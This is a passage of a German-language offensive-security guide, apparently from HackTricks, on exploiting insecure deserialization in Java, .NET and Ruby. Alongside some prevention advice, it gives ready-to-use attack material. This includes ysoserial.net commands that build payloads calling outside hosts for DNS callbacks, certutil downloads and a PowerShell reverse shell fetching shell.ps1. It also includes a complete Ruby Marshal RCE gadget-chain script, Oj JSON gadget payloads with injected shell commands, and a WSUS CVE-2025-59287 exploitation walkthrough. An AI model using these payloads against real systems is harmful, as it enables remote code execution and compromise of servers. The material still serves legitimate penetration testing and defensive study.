Implementing Serialization Filters: Java 9 führte serialization filters über das Interface ObjectInputFilter ein und stellt damit einen leistungsstarken Mechanismus bereit, um Kriterien zu definieren, die serialisierte Objekte erfüllen müssen, bevor sie deserialized werden. Diese Filter können global oder pro Stream angewendet werden und bieten eine feinkörnige Kontrolle über den deserialization-Prozess.
Um serialization filters zu nutzen, können Sie einen globalen Filter setzen, der für alle deserialization-Operationen gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Leveraging External Libraries for Enhanced Security: Bibliotheken wie NotSoSerial, jdeserialize und Kryo bieten erweiterte Funktionen zur Kontrolle und Überwachung von Java deserialization. Diese Bibliotheken können zusätzliche Sicherheitsschichten bereitstellen, wie z. B. Whitelisting oder Blacklisting von Klassen, die Analyse serialisierter Objekte vor der Deserialisierung und die Implementierung benutzerdefinierter Serialisierungsstrategien.
- NotSoSerial fängt Deserialization-Prozesse ab, um die Ausführung von nicht vertrauenswürdigem Code zu verhindern.
- jdeserialize ermöglicht die Analyse von serialisierten Java-Objekten, ohne diese zu deserialisieren, und hilft dabei, potenziell bösartige Inhalte zu identifizieren.
- Kryo ist ein alternatives Serialisierungs-Framework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit verbessern können.
Referenzen
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
Die Java Message Service (JMS) API ist eine Java nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Sie ist eine Implementierung zur Lösung des Producer–Consumer-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde und seitdem vom Java Community Process betreut wird. Es ist ein Messaging-Standard, der es komponentenbasierten Anwendungen auf Java EE ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Er ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung locker gekoppelt, zuverlässig und asynchron. (Aus Wikipedia).
Produkte
Es gibt mehrere Produkte, die diese Middleware zum Senden von Nachrichten verwenden:
.png)
.png)
Ausnutzung
Also, im Grunde gibt es eine Reihe von Services, die JMS auf gefährliche Weise verwenden. Wenn Sie daher genügend Privilegien haben, um Nachrichten an diese Services zu senden (in der Regel benötigen Sie gültige Anmeldedaten), könnten Sie in der Lage sein, bösartige, serialisierte Objekte zu senden, die vom Consumer/Subscriber deserialisiert werden.
Das bedeutet, dass bei dieser Ausnutzung alle Clients, die diese Nachricht verwenden, infiziert werden.
Sie sollten daran denken, dass selbst wenn ein Service verletzlich ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Verwundbarkeit auszunutzen.
Das Tool JMET wurde erstellt, um Verbindung zu diesen Services herzustellen und sie anzugreifen, indem mehrere bösartige, serialisierte Objekte mit bekannten Gadgets gesendet werden. Diese Exploits funktionieren, wenn der Service noch verwundbar ist und eines der verwendeten Gadgets in der verwundbaren Anwendung vorhanden ist.
Referenzen
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Im Kontext von .Net funktionieren deserialization-Exploits ähnlich wie in Java, wobei Gadgets ausgenutzt werden, um während der Deserialisierung eines Objekts bestimmten Code auszuführen.
Fingerprint
WhiteBox
Der Quellcode sollte auf Vorkommen von:
TypeNameHandlingJavaScriptTypeResolver
untersucht werden.
Der Fokus sollte auf Serializern liegen, die es erlauben, den Typ über eine vom Benutzer kontrollierte Variable zu bestimmen.
BlackBox
Die Suche sollte sich auf den Base64-kodierten String AAEAAAD///// oder ein ähnliches Muster richten, das serverseitig deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ ermöglicht. Dies kann unter anderem JSON- oder XML-Strukturen mit TypeObject oder $type umfassen.
ysoserial.net
In diesem Fall können Sie das Tool ysoserial.net verwenden, um deserialization-Exploits zu erstellen. Sobald Sie das Git-Repository heruntergeladen haben, sollten Sie das Tool beispielsweise mit Visual Studio kompilieren.
Wenn Sie lernen möchten, wie ysoserial.net seinen Exploit erstellt, können Sie diese Seite prüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt werden.
Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.
--gadgetwird verwendet, um das auszunutzende Gadget anzugeben (die Klasse/Funktion, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).--formatterwird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (Sie müssen wissen, welche Bibliothek das Backend zum Deserialisieren verwendet und dieselbe Bibliothek zum Serialisieren verwenden).--outputgibt an, ob Sie den Exploit als raw oder base64 codiert wünschen. Beachten Sie, dass ysoserial.net die Nutzlast standardmäßig in UTF-16LE kodiert (Codierung, die standardmäßig unter Windows verwendet wird). Wenn Sie also das Raw erhalten und es einfach von einer Linux-Konsole aus kodieren, können Kompatibilitätsprobleme bei der Codierung auftreten, die verhindern, dass der Exploit korrekt funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer so sein wird).--pluginysoserial.net unterstützt Plugins zur Erstellung von Exploits für spezifische Frameworks, wie ViewState
Weitere ysoserial.net-Parameter
--minifyliefert eine kleinere Nutzlast (falls möglich)--raf -f Json.Net -c "anything"Dies listet alle Gadgets auf, die mit einem angegebenen Formatter verwendet werden können (Json.Netin diesem Fall)--sf xmlSie können ein Gadget angeben (-g) und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (Groß-/Kleinschreibung ignoriert)
ysoserial-Beispiele zum Erstellen von Exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net hat auch einen sehr interessanten Parameter, der dabei hilft, besser zu verstehen, wie jeder exploit funktioniert: --test
Wenn du diesen Parameter angibst, ysoserial.net wird ausprobieren den exploit lokal, sodass du testen kannst, ob deine payload korrekt funktioniert.
Dieser Parameter ist hilfreich, weil du beim Überprüfen des Codes Abschnitte wie den folgenden findest (aus ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Das bedeutet, dass der Code, um den Exploit zu testen, serializersHelper.JsonNet_deserialize aufrufen wird.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Daher erlaubt uns der --test-Parameter zu verstehen, welche Codeabschnitte gegenüber dem Deserialisierungs-Exploit verwundbar sind, den ysoserial.net erzeugen kann.
ViewState
Sieh dir this POST about how to try to exploit the __ViewState parameter of .Net an, um beliebigen Code auszuführen. Wenn du die secrets der Zielmaschine bereits kennst, read this post to know to execute code.
Praxisbeispiel: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Betroffene Endpunkte:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie wird entschlüsselt und dann mit BinaryFormatter deserialisiert./ReportingWebService.asmx→ ReportEventBatch und verwandte SOAP-Operationen, die SoapFormatter-Sinks erreichen; base64‑Gadget wird verarbeitet, wenn die WSUS‑Konsole das Event einliest.- Root cause: von Angreifer‑kontrollierte Bytes gelangen zu legacy .NET‑Formattern (BinaryFormatter/SoapFormatter) ohne strikte allow‑lists/binders, sodass Gadget‑Chains als das WSUS‑Servicekonto (oft SYSTEM) ausgeführt werden.
Minimale Ausnutzung (Reporting‑Pfad):
- Generiere ein .NET‑Gadget mit ysoserial.net (BinaryFormatter oder SoapFormatter) und gib base64 aus, zum Beispiel:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Erstelle SOAP für
ReportEventBatch, bette das base64 gadget ein und sende es per POST an/ReportingWebService.asmx. - Wenn ein Admin die WSUS-Konsole öffnet, wird das Ereignis deserialisiert und das Gadget löst aus (RCE als SYSTEM).
AuthorizationCookie / GetCookie()
- Ein gefälschtes AuthorizationCookie kann akzeptiert, entschlüsselt und an eine BinaryFormatter sink übergeben werden, wodurch pre‑auth RCE ermöglicht wird, falls erreichbar.
Öffentlicher PoC (tecxx/CVE-2025-59287-WSUS) Parameter:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Siehe Windows Local Privilege Escalation – WSUS
Vorbeugung
Um die Risiken im Zusammenhang mit deserialization in .Net zu mindern:
- Vermeide es, Datenströmen zu erlauben, ihre Objekttypen zu definieren. Nutze
DataContractSerializeroderXmlSerializer, wenn möglich. - Für
JSON.Net, setzeTypeNameHandlingaufNone:TypeNameHandling = TypeNameHandling.None - Vermeide die Verwendung von
JavaScriptSerializermit einemJavaScriptTypeResolver. - Begrenze die Typen, die deserialized werden können, und sei dir der inhärenten Risiken von .Net-Typen wie
System.IO.FileInfobewusst, die Eigenschaften von Serverdateien ändern können und potenziell zu Denial-of-Service-Angriffen führen. - Sei vorsichtig bei Typen mit riskanten Eigenschaften, wie
System.ComponentModel.DataAnnotations.ValidationExceptionmit seinerValue-Eigenschaft, die ausgenutzt werden kann. - Kontrolliere die Typinstanziierung sicher, um zu verhindern, dass Angreifer den deserialization-Prozess beeinflussen, wodurch selbst
DataContractSerializeroderXmlSerializerverwundbar werden können. - Implementiere white list-Kontrollen mithilfe eines benutzerdefinierten
SerializationBinderfürBinaryFormatterundJSON.Net. - Bleibe über bekannte unsichere deserialization gadgets in .Net informiert und stelle sicher, dass Deserializers solche Typen nicht instanziieren.
- Isoliere potenziell riskanten Code von Code mit Internetzugang, um zu vermeiden, dass bekannte gadgets, wie
System.Windows.Data.ObjectDataProviderin WPF-Anwendungen, untrusted data sources ausgesetzt werden.
Referenzen
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby wird serialization durch zwei Methoden innerhalb der marshal-Bibliothek ermöglicht. Die erste Methode, bekannt als dump, wird verwendet, um ein Objekt in einen Bytestrom zu verwandeln. Dieser Prozess wird als serialization bezeichnet. Im Gegensatz dazu wird die zweite Methode, load, verwendet, um einen Bytestrom wieder in ein Objekt zurückzuverwandeln — ein Prozess, der als deserialization bezeichnet wird.
Zur Sicherung serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), das die Integrität und Authentizität der Daten gewährleistet. Der für diesen Zweck verwendete Schlüssel wird an einem der folgenden möglichen Orte gespeichert:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Weitere RCE-Kette zur Ausnutzung von Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() Methode
Wie in this vulnerability report erklärt, wenn ungefilterte Benutzereingaben die .send()-Methode eines Ruby-Objekts erreichen, ermöglicht diese es, jede andere Methode des Objekts mit beliebigen Parametern aufzurufen.
Zum Beispiel ermöglicht der Aufruf von eval und anschließendem ruby code als zweiten Parameter das Ausführen beliebigen Codes:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Außerdem, wenn nur ein Parameter von .send() vom Angreifer kontrolliert wird, wie im vorherigen writeup erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die keine Argumente benötigt oder deren Argumente Standardwerte haben.
Dafür kann man alle Methoden des Objekts aufzählen, um einige interessante Methoden zu finden, die diese Anforderungen erfüllen.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Prüfe, wie es möglich sein könnte, pollute a Ruby class and abuse it in here.
Ruby _json pollution
Beim Senden im Body von Werten, die nicht hashable sind (z. B. ein Array), werden diese unter einem neuen Schlüssel _json hinzugefügt. Ein Angreifer kann jedoch im Body auch selbst einen Wert namens _json mit beliebigen Inhalten setzen. Wenn das Backend zum Beispiel die Gültigkeit eines Parameters prüft, aber anschließend den _json-Parameter verwendet, um eine Aktion auszuführen, kann ein authorisation bypass erfolgen.
Weitere Informationen finden sich auf der Ruby _json pollution page.
Andere Bibliotheken
Diese Technik wurde übernommen from this blog post.
Es gibt weitere Ruby-Libraries, die verwendet werden können, um Objekte zu serialisieren und die daher bei unsicherer Deserialisierung für RCE missbraucht werden könnten. Die folgende Tabelle zeigt einige dieser Libraries und die Methode, die in der geladenen Klasse beim Unserialisieren aufgerufen wird (Funktion, die im Grunde missbraucht werden kann, um RCE zu erreichen):
| Bibliothek | Eingabedaten | Auslösende Methode innerhalb der Klasse |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Beim Versuch, Oj zu missbrauchen, ließ sich eine Gadget-Klasse finden, die innerhalb ihrer hash-Funktion to_s aufruft, welches wiederum spec aufruft, das fetch_path aufruft — letzteres ließ sich so ausnutzen, dass eine zufällige URL abgerufen wurde und damit einen hervorragenden Indikator für diese Art nicht bereinigter Deserialisierungs-Schwachstellen darstellt.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Außerdem wurde festgestellt, dass bei der vorherigen Technik ein Ordner im System angelegt wird, was eine Voraussetzung ist, um ein anderes gadget auszunutzen und dies in eine vollständige RCE zu verwandeln, z. B. mit:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Die File‑Upload‑Funktionalität der Rails‑App erlaubt einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind wegen des non-root-Benutzers von Docker beschreibbar), ermöglicht dies dennoch das Schreiben in das Bootsnap‑Cache‑Verzeichnis (typischerweise unter tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap beschleunigt die Rails‑Startzeit, indem es kompilierten Ruby‑Code sowie YAML‑ und JSON‑Dateien cached. Es legt Cache‑Dateien an, die einen Cache‑Key‑Header enthalten (mit Feldern wie Ruby‑Version, Dateigröße, mtime, compile_option, etc.) gefolgt vom kompilierten Code. Dieser Header wird beim Start der App zur Validierung des Caches verwendet.
- Gather File Metadata
Der Angreifer wählt zunächst eine Ziel‑Datei aus, die wahrscheinlich beim Rails‑Start geladen wird (z. B. set.rb aus der Ruby‑Standardbibliothek). Durch Ausführen von Ruby‑Code im Container extrahieren sie wichtige Metadaten (wie RUBY_VERSION, RUBY_REVISION, size, mtime und compile_option). Diese Daten sind essenziell, um einen gültigen Cache‑Key zu erzeugen.
- Compute the Cache File Path
Durch Replizieren des FNV-1a 64‑Bit‑Hash‑Mechanismus von Bootsnap wird der korrekte Pfad der Cache‑Datei ermittelt. Dieser Schritt stellt sicher, dass die bösartige Cache‑Datei genau dort abgelegt wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Der Angreifer bereitet eine Payload vor, die:
- Executes arbitrary commands (for example, running id to show process info).
- Removes the malicious cache after execution to prevent recursive exploitation.
- Loads the original file (e.g., set.rb) to avoid crashing the application.
Diese Payload wird in binären Ruby‑Code kompiliert und mit einem sorgfältig konstruierten Cache‑Key‑Header verkettet (unter Verwendung der zuvor gesammelten Metadaten und der korrekten Bootsnap‑Versionsnummer).
- Overwrite and Trigger Execution
Mithilfe der arbitrary file write‑Schwachstelle schreibt der Angreifer die erstellte Cache‑Datei an den berechneten Ort. Anschließend löst er einen Server‑Restart aus (z. B. durch Schreiben in tmp/restart.txt, das von Puma überwacht wird). Beim Neustart, wenn Rails die Ziel‑Datei require‑t, wird die bösartige Cache‑Datei geladen, was zu Remote Code Execution (RCE) führt.
Ruby Marshal Ausnutzung in der Praxis (aktualisiert)
Behandle jeden Pfad, über den nicht vertrauenswürdige Bytes Marshal.load/marshal_load erreichen, als RCE‑Sink. Marshal rekonstruiert beliebige Objektgraphen und löst beim Materialisieren Callbacks aus Bibliotheken/Gems aus.
- Minimaler verwundbarer Rails‑Code‑Pfad:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Gängige Gadget-Klassen, die in realen Chains gesehen werden:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Typischer side-effect marker, eingebettet in payloads (ausgeführt während des unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Wo es in echten Apps auftaucht:
- Rails-Cache- und Session-Speicher, die historisch Marshal nutzen
- Background-Job-Backends und dateibasierte Objekt-Speicher
- Jegliche kundenspezifische Persistenz oder Übertragung von binären Objekt-Blobs
Industrialisierte Gadget-Erkennung:
- Grep nach Konstruktoren,
hash,_load,init_withoder nebenwirkungsbehafteten Methoden, die während des unmarshal aufgerufen werden - Verwende CodeQL’s Ruby unsafe deserialization queries, um sources → sinks nachzuverfolgen und Gadgets aufzudecken
- Mit öffentlichen Multi-Format-PoCs validieren (JSON/XML/YAML/Marshal)
Referenzen
- Trail of Bits – Marshal madness: Eine kurze Geschichte der Ruby-Deserialisierungs-Exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universelle RCE-Deserialisierungs-Gadget-Kette: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal-Kette: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage durch unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (Query-Hilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs-Repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 Gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universelle Kette: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Audit von RubyGems.org (Marshal-Ergebnisse): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Ist das schlecht? Das fühlt sich schlecht an — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks